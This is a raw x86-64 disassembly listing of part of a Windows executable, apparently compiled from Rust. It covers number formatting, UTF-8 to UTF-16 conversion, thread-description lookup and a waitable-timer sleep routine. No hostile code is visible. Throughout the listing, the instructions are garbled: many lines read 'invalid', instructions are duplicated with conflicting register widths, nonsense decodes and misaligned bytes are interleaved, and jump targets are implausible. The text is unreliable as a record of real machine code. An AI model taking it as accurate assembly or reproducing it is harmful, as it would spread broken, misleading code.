mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400d5bc6
push rax
sbb bl, ch
add cl, byte [rcx + 0xfc084d0]
mov eax, edx
test al, al
setne al
add rsp, 0x48
pop rsi
mov eax, edx
rol byte [rax + rax*8 + 0x48c0950f], 1
add esp, 0x48
test al, al
setne al
add rsp, 0x48
pop rsi
pop rbp
ret
int3
int3
int3
int3
add byte [rax], al
lea rbp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x75], cl
add dword [rbx + rcx*4], ecx
add dword [rbx + rcx*4], ecx
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x1400d5cdc
test al, 0x20
jne 0x1400d5d2a
add dword [rax], eax
invalid
and byte [rdi], cl
test dword [rdi], ebx
add dword [rax], eax
add byte [rax - 0x77], cl
sar dword [rax + 0x27], 1
add byte [rax], al
mov rcx, rdx
mov eax, 0x27
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
cmp r8, 0x2710
clc
adc byte [rdi], ah
add byte [rax], al
invalid
clc
adc byte [rdi], ah
add byte [rax], al
jb 0x1400d5db6
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
nop word [rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
mov rax, r8
mul r10
shr rdx, 0xb
invalid
or ebp, dword [rcx - 0x3e]
adc byte [rdi], ah
add byte [rax], al
invalid
adc byte [rdi], ah
add byte [rax], al
mov esi, r8d
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
out dx, eax
adc ebp, dword [rbx - 0x39]
sub esi, eax
out dx, eax
adc ebp, dword [rbx - 0x39]
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r9 + rdi*2]
mov bh, 0x3c
jns case.0x14001a36d.3296
mov dword [rbp + r11 - 0x54], edi
movzx esi, word [r9 + rsi*2]
mov word [rbp + r11 - 0x52], si
mov r11, rax
cmp r8, 0x5f5e0ff
mov r8, rdx
sal byte [rdi - 0x4f], 1
sal byte [rdi - 0x4f], 1
cmp rdx, 0x63
jbe 0x1400d5cc3
movzx r8d, dx
shr r8d, 2
add al, byte [rbp + 0x69]
sar byte [rbx + 0x14], 0
add byte [rcx - 0x3f], al
call 0x11078a1bc
sub edx, r10d
add al, byte [rbp + 0x69]
sar byte [rbx + 0x14], 0
add byte [rcx - 0x3f], al
call 0x11078a1bc
sub edx, r10d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
mov rdx, r8
cmp rdx, 0xa
jae 0x1400d5dc8
or dl, 0x30
mov byte [rbp + rax - 0x51], dl
push rsp
add eax, 0xc8ff48af
invalid
push rsp
add eax, 0xc8ff48af
invalid
enter 0xfffffffffffffae9, 0
add byte [rax], al
jmp 0x1400d5dd6
mov r9d, 0x81
mov rax, r8
nop word cs:[rax + rax]
mov rcx, r9
shr rax, 4
mov r9d, r8d
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
rol dword [rbp + 0xf], cl
rol dword [rax + r9*4 + 0x54], 1
mov byte [rbp + rcx - 0x52], dl
rol dword [rbp + 0xf], cl
rol dword [rax + r9*4 + 0x54], 1
mov byte [rbp + rcx - 0x52], dl
lea r9, [rcx - 1]
cmp r8, 0x10
invalid
invalid
mov byte [rbp + rcx - 0x52], dl
lea r9, [rcx - 1]
cmp r8, 0x10
mov r8, rax
invalid
jae 0x1400d5cf0
sal byte [rbx - 0x38], 0xeb
mov r9d, 0x81
add byte [rax], al
invalid
jmp 0x1400d5d78
mov r9d, 0x81
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
nop word cs:[rax + rax]
invalid
mov rcx, r9
shr rax, 4
call 0x10196a24e
call 0x10196a24e
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp r8, 0x10
mov r8, rax
jae case.0x14001a36d.3312
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400d5e0e
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400d5dfd
mov rdx, r8
cmp rdx, 0x63
ja 0x1400d5c95
jmp 0x1400d5cc3
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
lea rdx, [rax + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
lea r8, [0x14016f768]
mov dl, 1
xor r9d, r9d
call fcn.140012db0
nop
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1401111f8]
mov edx, 0x80
call fcn.140104660
int3
int3
mov rcx, qword [rbp - 8]
call fcn.1400d49e0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
test rax, rax
setne al
add rsp, 0x38
pop rsi
pop rbp
ret
clc
mov qword [rcx], rax
add rsp, 0x28
pop rsi
pop rbp
ret
fpatan
dec esp
int3
mov ecx, 0xfffffff4
mov rdx, rdi
mov r8, rsi
mov r9, rbx
call fcn.1400d4b40
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
test rax, rax
je 0x1400d60b0
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
test rdx, rdx
je 0x1400d60f2
mov rax, rsi
sub rax, rdx
jb 0x1400d60f7
add rdi, rdx
mov rsi, rax
test rsi, rsi
jne 0x1400d6073
jmp 0x1400d60de
xor edx, edx
mov rax, rdx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov rdx, r15
jmp 0x1400d60e0
jmp 0x14a12ee47
lea r8, [0x140146308]
mov rcx, rdx
mov rdx, rsi
bnd call fcn.140104660
bnd call fcn.140104660
int3
enter 0x48f0, 0xffffffffffffffff
or byte [r13 + 0x11], sil
mov rcx, qword [0x14017d208]
xor edx, edx
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x33333ca3], dl
int3
mov qword [rbp], 0xfffffffffffffffe
dec dword [rcx + rcx*4 - 0x3d]
mov rbx, r8
mov r14, rdx
mov qword [rbp - 0x20], rcx
mov rsi, r8
mov eax, 2
inc rsi
je 0x1400d619f
mov rax, rsi
shr rax, 0x3e
jne case.0x140092aab.508
lea rdi, [rsi + rsi]
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
test rax, rax
je 0x1400d641d
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
add rbx, r14
xor edi, edi
mov r12, 0xffffffffffffffff
lea r15, [rbp - 0x18]
xor r13d, r13d
jmp 0x1400d61df
invalid
add byte [rax], al
add byte [rax], al
mov word [rax + rdi*2], r13w
inc rdi
mov qword [rbp - 8], rdi
mov r13d, esi
cmc
cmc
test r13w, r13w
je 0x1400d6200
xor esi, esi
cmp rdi, qword [rbp - 0x18]
jne 0x1400d61d0
jmp 0x1400d62e0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
cmp r14, rbx
je 0x1400d6312
movzx edx, byte [r14]
movzx r13d, dl
test r13b, r13b
js 0x1400d6226
inc r14
xor esi, esi
cmp rdi, qword [rbp - 0x18]
jne 0x1400d61d0
jmp 0x1400d62e0
mov ecx, r13d
and ecx, 0x1f
movzx r8d, byte [r14 + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x1400d627d
movzx r13d, byte [r14 + 2]
shl r8d, 6
and r13d, 0x3f
or r13d, r8d
cmp dl, 0xf0
jb 0x1400d6297
shl ecx, 0x12
shl r13d, 6
and edx, 0x3f
or edx, r13d
or edx, ecx
mov r13d, edx
mov ebp, edx
mov ebp, edx
cmp r13d, 0xffff
jbe 0x1400d61e5
jmp 0x1400d62ae
add r14, 2
shl ecx, 6
or ecx, r8d
mov r13d, ecx
xor esi, esi
cmp rdi, qword [rbp - 0x18]
cmp edi, dword [rbp - 0x18]
je 0x1400d62e0
jmp 0x1400d61d0
invalid
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
add byte [rax], al
add byte [rax], al
and r13d, 0x3ff
or r13d, 0xdc00
add byte [rcx + rcx*4 - 0x12], al
add byte [rcx + rcx*4 - 0x12], al
mov r13d, ecx
cmp rdi, qword [rbp - 0x18]
jne 0x1400d61d0
nop dword [rax]
mov r8, rbx
sub r8, r14
add r8, 3
cmovb r8, r12
shr r8, 2
cmp si, 1
cmp esi, 1
sbb r8, 0
add r8, 2
mov rcx, r15
mov rdx, rdi
call fcn.14010c720
mov rax, qword [rbp - 0x10]
jmp 0x1400d61d0
invalid
invalid
invalid
add byte [rax - 0x75], cl
invalid
invalid
mov r8, qword [rbp - 0x10]
mov rax, rdi
mov rcx, r8
cmp rdi, 8
or byte [rdx + 0x4b], dh
or byte [rdx + 0x4b], dh
mov rcx, r8
mov rcx, r8
mov rax, rdi
cmp word [rcx], 0
cmp dword [rcx], 0
je 0x1400d6390
cmp word [rcx + 2], 0
je 0x1400d6390
cmp word [rcx + 4], 0
je 0x1400d6390
add byte [rsp + rdx*2 + 0x66], dh
cmp dword [rcx + 6], 0
invalid
invalid
cmp word [rcx + 6], 0
invalid
je 0x1400d6390
cmp word [rcx + 8], 0
je 0x1400d6390
cmp word [rcx + 0xa], 0
je 0x1400d6390
cmp word [rcx + 0xc], 0
je 0x1400d6390
cmp word [rcx + 0xe], 0
cmp dword [rcx + 0xe], 0
je 0x1400d6390
add rax, 0xfffffffffffffff8
add rcx, 0x10
cmp rax, 7
invalid
ja 0x1400d6328
clc
invalid
add rax, rax
xor edx, edx
sal byte [rcx], 0xd2
shl byte [rsi + 0x66], cl
nop word cs:[rax + rax]
nop dword [rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax + 0x39], cl
sal byte [rsi + rcx*2 + 0x66], 1
cmp dword [rcx + rdx], 0
cmp rax, rdx
cmp eax, edx
je 0x1400d63d3
cmp word [rcx + rdx], 0
lea rdx, [rdx + 2]
jne 0x1400d6380
lea rax, [0x1401478c0]
lea eax, [0x1401478c0]
mov rcx, qword [rbp - 0x20]
mov qword [rcx + 8], rax
loopne 0x1400d63e4
mov dword [rcx + 8], eax
or byte [r8 - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rbp - 0x18], 0
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rbp - 0x18], 0
je 0x1400d6407
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
cmp rdi, qword [rbp - 0x18]
jne 0x1400d63ea
invalid
add byte [rax], al
inc rdi
mov qword [rbp - 8], rdi
mov dword [rbp - 8], edi
mov dword [rbp - 8], edi
mov rax, qword [rbp - 0x20]
mov qword [rax + 0x10], rdi
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rax], xmm0
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
call fcn.140010910
movsb byte [rdi], byte [rsi]
invalid
invalid
mov ecx, 2
mov rdx, rdi
call fcn.140104360
int3
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
invalid
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
cmp qword [rbp - 0x18], 0
je 0x1400d6463
mov r8, qword [rbp - 0x10]
mov rcx, qword [0x14017d208]
or eax, 0xa6dad
insd dword [rdi], dx
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sar bh, cl
adc eax, 0x38f9d
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
int3
int3
lea ebp, [rsp + 0x20]
mov rsi, rdx
mov rdi, rcx
mov edi, ecx
lea rcx, str.kernel32
add al, ch
js case.0x1400930de.498
call sub.kernel32.dll_GetModuleHandleA
add al, byte [rax]
test rax, rax
je 0x1400d64c2
lea rdx, str.SetThreadDescription
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
rol byte [rdx], 0
shr eax, 0x6a
rol byte [rdx], 0
test rax, rax
test eax, eax
lea r8, [0x1400d3f70]
cmovne r8, rax
jmp 0x1400d64c9
invalid
invalid
lea r8, [0x1400d3f70]
dec dword [rcx + rcx*4 + 5]
jo 0x1400d6539
mov qword [0x14017d040], r8
or al, byte [rax]
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rsi
add rsp, 0x20
pop rdi
pop rsi
pop rbp
jmp r8
push rdi
sub rsp, 0x50
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
mov rax, qword [rcx]
mov r8, rax
mov eax, eax
add dword [rcx - 0x77], ecx
ror byte [rcx - 1], 0xc0
mov eax, eax
inc r8
je 0x1400d6569
mov rsi, rcx
lea rcx, [rax + rax]
cmp rcx, r8
cmova r8, rcx
cmova eax, ecx
cmova eax, ecx
xor edx, edx
mov r9, r8
mov ecx, eax
ror byte [rbp - 0x77], cl
ror dword [rcx - 0x3f], 0xe9
shr ecx, 0x3e
sete dl
mov ecx, eax
shr r9, 0x3e
shr ecx, 0x3e
jmp 0x102a1744f
sete dl
cmp r8, 5
mov edi, 4
add byte [rcx + 0xf], cl
clc
add byte [rcx + 0xf], cl
clc
lea r8, [rdi + rdi]
add al, 0x3f
add edx, edx
test rax, rax
je case.0x14009f75c.752
invalid
adc ecx, dword [rax - 0x75]
or byte [rax - 0x77], r9b
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], rcx
invalid
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], rcx
mov eax, 2
add byte [rax], al
loopne 0x1400d64ee
add al, byte [rax]
add byte [rax], al
add bl, ch
jmp case.0x1400b5836.643
add dh, byte [rcx]
ror byte [rax - 0x77], 0x45
mov qword [rbp - 0x28], rax
invalid
invalid
xor eax, eax
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
call 0x1105af296
fmul dword [r8 - 0x73]
call 0x1105af296
shr r8b, 1
call fcn.1400d3da0
cmp qword [rbp - 0x18], 0
cmp dword [rbp - 0x18], 0
push rcx
fdivr st(7)
dec dword [rax - 0x7d]
invalid
jge case.0x1400a9a80.372
invalid
cmp dword [rbp - 0x18], 0
call 0x18827da57
mov eax, dword [rbp - 0x10]
invalid
invalid
jne case.0x1400a5610.752
mov rax, qword [rbp - 0x10]
invalid
mov qword [rsi + 8], rax
mov qword [rsi], rdi
mov dword [rsi], edi
or byte [rax - 0x77], r9b
or byte [rax - 0x77], cl
mov dword [rsi], edi
add rsp, 0x50
add rsp, 0x50
push rax
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.140104360
invalid
fld qword [rdx]
invalid
invalid
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.140104360
add al, byte [rax]
int3
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rbx + 0xa6d1b05]
sbb ebp, dword [rbp + 0xa]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
invalid
invalid
sbb ebp, dword [rbp + 0xa]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
or al, 0x25
pop rax
add byte [rax], al
and eax, 0x58
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add al, 0xc1
ror dword [rdi], 0xb6
movzx eax, byte [rax + 0xc8]
or al, 0
enter 0, 0
add byte [rax], al
add byte [rbx + 0x317401f8], al
cmp eax, 1
je 0x1400d65e3
test eax, eax
jne 0x1400d660a
push rsp
mov eax, dword [0x14017d2b4]
insb byte [rdi], dx
or al, byte [rax]
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rsi, qword [rcx + rax*8]
mov rsi, qword [rcx + rax*8]
mov esi, dword [rcx + rax*8]
ror dword [rax - 0x73], 0x8e
lea rcx, [rsi + 0xc0]
lea rdx, [0x1400d3a90]
invalid
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffffd4b9
invalid
invalid
mov ecx, 0xe8ffffd4
hlt
invalid
call fcn.1400d3ad0
mov byte [rsi + 0xc8], 1
xchg al, cl
add byte [rax], al
add byte [rcx], al
invalid
xchg al, cl
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x14017d2b4]
retf
or al, byte [rax]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
and eax, 0x58
add byte [rax - 0x75], cl
add al, 0xc1
invalid
mov rax, qword [rcx + rax*8]
ror dword [rax - 0x75], 0x80
mov rax, qword [rax + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rcx + rdx - 0x10], 0x48
je 0x1400d6613
adc eax, esi
inc qword [rax]
invalid
test rax, rax
je 0x1400d6613
invalid
adc eax, esi
inc qword [rax]
invalid
lock inc qword [rax]
add byte [rdi + 4], bh
jg 0x1400d660c
ud2
or esi, dword [rcx]
ror byte [rax - 0x7d], 0xc4
add esp, 0x68
pop rsi
pop rbp
ret
call fcn.14010c230
xor eax, eax
add rsp, 0x68
add esp, 0x68
pop rsi
pop rbp
ret
call fcn.14010c230
pop rsp
add eax, dword [rax]
invalid
add byte [rbx + 0xa6c9615], cl
mov edx, dword [0x14017d2b4]
adc eax, 0xa6c96
xchg esi, eax
insb byte [rdi], dx
or al, byte [rax]
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xd1
mov rcx, qword [rcx + rdx*8]
cmp qword [rcx + 0xc0], 0
cmp dword [rcx + 0xc0], 0
mov ecx, 0xc0
add byte [rax], al
add byte [rbp + 0x22], dh
jne 0x1400d6657
and cl, byte [rbx + 0xa6c7915]
add byte [rbp + 0x48], ah
invalid
invalid
mov edx, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rcx + rdx*8]
add byte [rax], al
mov rcx, qword [rcx + rdx*8]
mov qword [rcx + 0xc0], rax
mov dword [rcx + 0xc0], eax
add eax, 0xf0000000
add byte [rax], al
add byte [rax], al
add al, dh
lock inc qword [rax]
inc qword [rax]
inc dword [rax]
jg 0x1400d660c
mov bh, 0xeb
mov cl, 0x48
jmp 0x1400d6608
mov qword [rbp - 8], rax
mov dword [rbp - 8], eax
clc
lea rax, str.reentrant_init
lea eax, [0x1401452d8]
add eax, 0x6ec76
invalid
add byte [rax - 0x77], cl
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
rol byte [r9], 1
add byte [rax], al
invalid
enter 0xffffffffffffc748, 0x45
enter 0xffffffffffffc748, 0x45
rol byte [r9], 1
rol byte [rcx], 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14016f768]
lea eax, [0x14016f768]
add eax, 0x990f3
pause
or dword [rax], eax
invalid
add byte [rax - 0x77], cl
mov qword [rbp - 0x28], rax
fmul dword [r15]
fmul dword [rdi]
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
invalid
invalid
movups xmmword [rbp - 0x20], xmm0
adc dword [rbp - 0x20], eax
loopne case.0x1400978a6.476
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_srccellonce.rs
lea edx, [0x140145338]
in al, dx
invalid
lea rcx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
enter 0xffffffffffff90e8, 0xffffffffffffffdf
call fcn.140104620
fild word [rdx]
add cl, ch
add al, byte [rax]
jmp 0x1400d6608
jae 0x1400d6692
invalid
invalid
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x56], dl
push rbp
push rsi
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
invalid
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
push 0x60
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
clc
lock dec qword [rax]
dec qword [rax]
dec dword [rax]
jne 0x1400d66c2
or dword [rax - 0x75], ecx
clc
mov rcx, qword [rbp - 8]
call fcn.1400d3c40
invalid
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
invalid
invalid
invalid
pop rsi
pop rbp
ret
int3
int3
mov rbp, rsp
test dl, dl
invalid
je case.0x1400b5836.338
sal byte [rsp + rax - 0x3a], cl
mov byte [rcx + 0x10], 1
adc byte [r9], al
lock dec qword [rcx + 8]
dec qword [rcx + 8]
or byte [r13 + 0xc], sil
or byte [rbp + 0xc], dh
jne 0x1400d66ef
mov rcx, qword [rcx]
mov ecx, dword [rcx]
or dword [rax + 0x28418601], esi
mov al, 1
xchg byte [rcx + 0x28], al
sub byte [r15 + rdi*8], dil
cmp al, 0xff
push qword [rdx + rax + 0x5d]
je case.0x14009a63c.461
pop rbp
ret
add rcx, 0x28
sub byte [rbp + 0x48], bl
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
and eax, 0x38973
pop rbp
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
and eax, 0x38973
and eax, 0x38973
jae case.0x1400b5866.678
add eax, dword [rax]
add ah, cl
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x38
sub esp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
lea ebp, [rsp + 0x30]
lea rbp, [rsp + 0x30]
lea ebp, [rsp + 0x30]
mov rsi, rcx
xor ecx, ecx
leave
xor edx, edx
mov r8d, 2
mov eax, 2
add byte [rax], al
add byte [rcx - 0x47], al
add eax, dword [rax]
add byte [rdi], bl
mov r9d, 0x1f0003
mov ecx, 0x1f0003
add byte [rdi], bl
add bh, bh
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
adc eax, 0x38c8a
mov cl, byte [rbx + rax - 0x3f7ab800]
add eax, dword [rax]
add byte [rax - 0x7b], cl
sal byte [rsi + rbx*2 + 0x48], 0x89
je case.0x14009f75c.435
invalid
invalid
test rax, rax
je case.0x14009f75c.435
mov rdi, rax
imul rax, rsi, 0xffffffffff676980
sub byte [rcx + 0x67], 0xff
invalid
sub byte [rcx + 0x67], 0xff
dec dword [rax - 0x77]
add r15b, r8b
invalid
and al, 0x28
mov qword [rbp], rax
mov dword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rdx, rbp
mov rcx, rdi
xor r8d, r8d
xor eax, eax
xor eax, eax
xor r9d, r9d
xor ecx, ecx
leave
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
invalid
je case.0x1400970a3.498
mov word [rbx], es
add byte [rbp + 0x482074c0], al
invalid
je case.0x1400970a3.498
invalid
sal byte [rax + riz + 0x48], 0x89
stc
mov rcx, rdi
mov ecx, edi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
adc eax, 0x38c2a
mov word [rbx], es
add byte [rcx - 0x676b73d], cl
mov ebx, eax
mov rcx, rdi
mov ecx, edi
mov ecx, edi
stc
call qword [sym.imp.kernel32.dll_CloseHandle]
adc eax, 0x38c77
ja 0x1400d6703
add byte [rbx + 0x2475fffb], al
cmp ebx, 0xffffffff
jne 0x1400d67a2
invalid
push qword [rbp + 0x24]
and al, 0xeb
or dword [rax - 0x77], ecx
invalid
invalid
jmp case.0x14009f75c.435
mov rcx, rdi
mov ecx, edi
stc
call qword [sym.imp.kernel32.dll_CloseHandle]
mov word [ebx], es
add eax, dword [rax]
add byte [rax + 0x69], cl
invalid
imul rax, rsi, 0x3e8
call 0xf90d6794
add eax, dword [rax]
add byte [rax], al
add byte [rcx - 1], bh
mov ecx, 0xffffffff
cmp rax, rcx
cmp eax, ecx
enter 0xf48, 0x42
enter 0x15ff, 0xffffffffffffffee
invalid
invalid
out dx, al
cmovb rcx, rax
cmovb ecx, eax
call qword [sym.imp.kernel32.dll_Sleep]
adc eax, 0x38bee
out dx, al
mov eax, dword [rbx]
add byte [rax + 0x38c48348], dl
nop
add rsp, 0x38
add esp, 0x38
add esp, 0x38
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
invalid
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add r14b, r15b
add dh, bh
invalid
invalid
mov esi, r8d
mov esi, eax
invalid
mov rdi, rdx
mov edi, edx
mov r9, qword [0x14017d220]
mov ecx, dword [0x14017d220]
or eax, 0xa6a4e
push 0xa
add byte [rbp - 0x7b], cl
test r9, r9
test ecx, ecx
leave
jne case.0x1400b5836.355
mov rbx, rcx
retf
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
clc
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
clc
clc
lea rcx, [rbp - 8]
clc
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
ror byte [rdi], 0x84
invalid
add dword [rax], eax
invalid
mov esp, 0x8500038a
mov al, byte [rbx]
add byte [rbp - 0x447bf040], al
ror byte [rdi], 0x84
invalid
ror byte [rdi], 0x84
mov ebx, 0x4c000001
add dword [rax], eax
invalid
invalid
test byte [rbx + 0x4c000001], bh
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4d], cl
mov ecx, dword [rbp - 8]
mov r9, qword [rbp - 8]
mov ecx, dword [rbp - 8]
clc
mov qword [0x14017d220], r9
mov dword [0x14017d220], ecx
push 0xa
add byte [rbp - 0x7b], cl
or al, byte [rax]
test r9, r9
leave
mov rcx, rbx
mov ecx, ebx
invalid
je 0x1400d6956
add byte [rax], al
add byte [rcx - 0x7f], cl
cmp r9, 0x3b9aca00
stc
add dl, cl
invalid
cmp esi, dword [rdi + 0xc]
ja 0x1400d6820
mov eax, 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rcx]
rol byte [rcx - 9], cl
xor edx, edx
div r9d
int1
int1
jmp 0x1400d6822
add dh, byte [rcx]
xor eax, eax
ror byte [rbp + 0x65360090], 0xc4
lea edx, [rax - 0x3b9aca00]
add byte [rsi], dh
invalid
invalid
xor r8d, r8d
xor eax, eax
cmp r9, 2
cmp ecx, 2
stc
add al, byte [rcx + 0xf]
setb r8b
xchg edx, eax
ror byte [rdi], 0x43
cmovae edx, eax
cmp edx, 0x3b9aca00
retf 0x3b9a
jb case.0x1400aaf64.376
invalid
rol byte [rcx - 0x6535ff06], 1
cmp esi, dword [rdx + 0x1b]
invalid
retf 0x3b9a
invalid
sbb ecx, dword [rcx + 0x9e8c1d0]
mov eax, edx
shr eax, 9
call 0x10076b04f
or dword [rbx + 4], 0
add al, 0
or dword [rax + 0x69], ecx
imul rax, rax, 0x44b83
rol byte [rbx + 0x4800044b], 0xc1
add al, 0
add byte [rax - 0x3f], cl
shr rax, 0x27
call 0x1000eb178
invalid
add r8, rax
imul eax, eax, 0x3b9aca00
sub edx, eax
retf 0x3b9a
invalid
mov rax, qword [rcx]
add dword [rbx + 0x39480849], ecx
mov ecx, dword [rcx + 8]
cmp rax, rdi
cmp eax, edi
or byte [r8 + 0x39], cl
cmp eax, edi
clc
jne 0x1400d6866
add bh, byte [rcx]
cmp ecx, esi
int1
jae 0x1400d6900
add byte [rax], al
add byte [rcx - 0x77], cl
mov ecx, edi
add byte [rax], al
mov r9, rdi
mov ecx, edi
sub r9, rax
sub ecx, eax
ror dword [rdi], 0x82
invalid
jb 0x1400d6962
add byte [rax], al
add byte [rcx], bh
cmp ecx, esi
int1
jbe case.0x1400b7cfb.338
test r9, r9
test ecx, ecx
leave
je 0x1400d6962
fld qword [rax]
add byte [rax], al
invalid
add byte [rcx - 1], cl
leave
dec r9
dec ecx
